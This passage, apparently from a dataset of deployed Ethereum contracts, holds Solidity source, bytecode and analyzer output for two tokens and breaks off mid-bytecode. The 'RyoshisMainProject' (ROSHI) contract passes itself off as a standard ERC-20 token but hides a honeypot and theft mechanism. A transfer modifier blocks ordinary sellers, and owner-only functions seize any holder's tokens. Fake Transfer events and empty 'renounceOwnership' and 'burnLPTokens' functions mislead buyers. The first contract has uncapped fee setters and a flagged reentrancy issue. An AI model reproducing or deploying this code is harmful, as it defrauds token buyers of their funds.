event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610322578063c3c8cd8014610342578063c9567bf914610357578063cfe81ba01461036c578063dd62ed3e1461038c57600080fd5b8063715018a614610276578063842b7c081461028b5780638da5cb5b146102ab57806395d89b41146102d3578063a9059cbb1461030257600080fd5b8063273123b7116100e7578063273123b7146101e3578063313ce567146102055780635932ead1146102215780636fc3eaec1461024157806370a082311461025657600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a536f6e204f6620446f676560a81b60208201525b604051610161919061189a565b60405180910390f35b34801561017657600080fd5b5061018a61018536600461172b565b6103d2565b6040519015158152602001610161565b3480156101a657600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610161565b3480156101cf57600080fd5b5061018a6101de3660046116eb565b6103e9565b3480156101ef57600080fd5b506102036101fe36600461167b565b610452565b005b34801561021157600080fd5b5060405160098152602001610161565b34801561022d57600080fd5b5061020361023c36600461181d565b6104a6565b34801561024d57600080fd5b506102036104ee565b34801561026257600080fd5b506101b561027136600461167b565b61051b565b34801561028257600080fd5b5061020361053d565b34801561029757600080fd5b506102036102a6366004611855565b6105b1565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102df57600080fd5b50604080518082019091526006815265534f444f474560d01b6020820152610154565b34801561030e57600080fd5b5061018a61031d36600461172b565b610608565b34801561032e57600080fd5b5061020361033d366004611756565b610615565b34801561034e57600080fd5b506102036106b9565b34801561036357600080fd5b506102036106ef565b34801561037857600080fd5b50610203610387366004611855565b610ab8565b34801561039857600080fd5b506101b56103a73660046116b3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103df338484610b0f565b5060015b92915050565b60006103f6848484610c33565b610448843361044385604051806060016040528060288152602001611a6b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f16565b610b0f565b5060019392505050565b6000546001600160a01b031633146104855760405162461bcd60e51b815260040161047c906118ed565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104d05760405162461bcd60e51b815260040161047c906118ed565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050e57600080fd5b4761051881610f50565b50565b6001600160a01b0381166000908152600260205260408120546103e390610fd5565b6000546001600160a01b031633146105675760405162461bcd60e51b815260040161047c906118ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106035760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047c565b600a55565b60006103df338484610c33565b6000546001600160a01b0316331461063f5760405162461bcd60e51b815260040161047c906118ed565b60005b81518110156106b55760016006600084848151811061067157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ad81611a00565b915050610642565b5050565b600c546001600160a01b0316336001600160a01b0316146106d957600080fd5b60006106e43061051b565b905061051881611059565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161047c906118ed565b600f54600160a01b900460ff16156107735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107b330826b033b2e3c9fd0803ce8000000610b0f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190611697565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561086c57600080fd5b505afa158015610880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a49190611697565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ec57600080fd5b505af1158015610900573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109249190611697565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109548161051b565b6000806109696000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109cc57600080fd5b505af11580156109e0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a05919061186d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b59190611839565b600d546001600160a01b0316336001600160a01b031614610b0a5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047c565b600b55565b6001600160a01b038316610b715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b038216610bd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b038216610cf95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b60008111610d5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047c565b6000546001600160a01b03848116911614801590610d8757506000546001600160a01b03838116911614155b15610f06576001600160a01b03831660009081526006602052604090205460ff16158015610dce57506001600160a01b03821660009081526006602052604090205460ff16155b610dd757600080fd5b600f546001600160a01b038481169116148015610e025750600e546001600160a01b03838116911614155b8015610e2757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3c5750600f54600160b81b900460ff165b15610e9957601054811115610e5057600080fd5b6001600160a01b0382166000908152600760205260409020544211610e7457600080fd5b610e7f42601e611992565b6001600160a01b0383166000908152600760205260409020555b6000610ea43061051b565b600f54909150600160a81b900460ff16158015610ecf5750600f546001600160a01b03858116911614155b8015610ee45750600f54600160b01b900460ff165b15610f0457610ef281611059565b478015610f0257610f0247610f50565b505b505b610f118383836111fe565b505050565b60008184841115610f3a5760405162461bcd60e51b815260040161047c919061189a565b506000610f4784866119e9565b95945050505050565b600c546001600160a01b03166108fc610f6a836002611209565b6040518115909202916000818181858888f19350505050158015610f92573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fad836002611209565b6040518115909202916000818181858888f193505050501580156106b5573d6000803e3d6000fd5b600060085482111561103c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047c565b600061104661124b565b90506110528382611209565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110af57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110357600080fd5b505afa158015611117573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113b9190611697565b8160018151811061115c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111829130911684610b0f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bb908590600090869030904290600401611922565b600060405180830381600087803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f1183838361126e565b600061105283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611365565b6000806000611258611393565b90925090506112678282611209565b9250505090565b600080600080600080611280876113db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b29087611438565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e1908661147a565b6001600160a01b038916600090815260026020526040902055611303816114d9565b61130d8483611523565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135291815260200190565b60405180910390a3505050505050505050565b600081836113865760405162461bcd60e51b815260040161047c919061189a565b506000610f4784866119aa565b60085460009081906b033b2e3c9fd0803ce80000006113b28282611209565b8210156113d2575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113f88a600a54600b54611547565b925092509250600061140861124b565b9050600080600061141b8e87878761159c565b919e509c509a509598509396509194505050505091939550919395565b600061105283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f16565b6000806114878385611992565b9050838110156110525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b60006114e361124b565b905060006114f183836115ec565b3060009081526002602052604090205490915061150e908261147a565b30600090815260026020526040902055505050565b6008546115309083611438565b600855600954611540908261147a565b6009555050565b6000808080611561606461155b89896115ec565b90611209565b90506000611574606461155b8a896115ec565b9050600061158c826115868b86611438565b90611438565b9992985090965090945050505050565b60008080806115ab88866115ec565b905060006115b988876115ec565b905060006115c788886115ec565b905060006115d9826115868686611438565b939b939a50919850919650505050505050565b6000826115fb575060006103e3565b600061160783856119ca565b90508261161485836119aa565b146110525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b803561167681611a47565b919050565b60006020828403121561168c578081fd5b813561105281611a47565b6000602082840312156116a8578081fd5b815161105281611a47565b600080604083850312156116c5578081fd5b82356116d081611a47565b915060208301356116e081611a47565b809150509250929050565b6000806000606084860312156116ff578081fd5b833561170a81611a47565b9250602084013561171a81611a47565b929592945050506040919091013590565b6000806040838503121561173d578182fd5b823561174881611a47565b946020939093013593505050565b60006020808385031215611768578182fd5b823567ffffffffffffffff8082111561177f578384fd5b818501915085601f830112611792578384fd5b8135818111156117a4576117a4611a31565b8060051b604051601f19603f830116810181811085821117156117c9576117c9611a31565b604052828152858101935084860182860187018a10156117e7578788fd5b8795505b83861015611810576117fc8161166b565b8552600195909501949386019386016117eb565b5098975050505050505050565b60006020828403121561182e578081fd5b813561105281611a5c565b60006020828403121561184a578081fd5b815161105281611a5c565b600060208284031215611866578081fd5b5035919050565b600080600060608486031215611881578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118c6578581018301518582016040015282016118aa565b818111156118d75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119715784516001600160a01b03168352938301939183019160010161194c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a5576119a5611a1b565b500190565b6000826119c557634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119e4576119e4611a1b565b500290565b6000828210156119fb576119fb611a1b565b500390565b6000600019821415611a1457611a14611a1b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051857600080fd5b801515811461051857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d6acfb8d5114155a3732f4629619d9fec6db39877ea0bf11750415700e2cb3b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,398 |
0x948b5583aa68f0a774232b0fa752fe587dfe32c8
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract RyoshisMainProject is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x1f7E0c2077e84386da9e1863163995c12F4189Cf;
address public _ownr = 0xFfCDdE6C5a8c4063648c3cb90fa28831A77BC2D6;
constructor () public {
_name = "Ryoshis Main Project";
_symbol = "ROSHI";
_decimals = 18;
uint256 initialSupply = 967434698336171786897104594100652;//967434698336171 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function setDelegation(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function setTransfer(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063b14a5c6a1161007c578063b14a5c6a146107e8578063bb88603c146104fa578063d8fc2924146107f0578063dd62ed3e14610923578063e6b3e70414610951578063f8129cd21461097757610158565b80638d3ca13e146105025780639430b4961461063557806395d89b411461065b578063a5aae25414610663578063a9059cbb14610796578063ae2b611c146107c257610158565b80633cc4430d116101155780633cc4430d1461032b5780634e6ec2471461045e5780635265327c1461048a578063671e9921146104b057806370a08231146104d4578063715018a6146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d7578063313ce5671461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b610315610cde565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561034157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b80359